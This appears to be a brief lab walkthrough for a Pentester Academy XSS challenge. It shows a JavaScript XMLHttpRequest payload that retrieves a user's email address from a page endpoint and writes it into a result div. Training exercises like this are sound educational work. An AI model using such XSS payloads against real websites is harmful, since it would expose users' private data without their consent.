Task 14 [Try Now]
Objectives:
- Find John's Email Address using an XSS vulnerability on this page
- Display the Email address in the div with id "result"
Yes, there is no input to test. But the XSS is always a client side vulnerability, so after struggling I found a some resource in the source code
So when I opened this path in new tab, I found this
Now we found what we are worried about, let's use XHR to complete this challenge. We need to check for the completion of XHR so that we can get the response text. Luckily we have .onreadystatechange
const xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function () {
if (this.readyState == 4 && this.status == 200) {
document.querySelector("#result").textContent = xhttp.responseText;
}
};
xhttp.open("GET", "http://pentesteracademylab.appspot.com/lab/webapp/jfp/14/email?name=john", true);
xhttp.send();
For POC, Click Here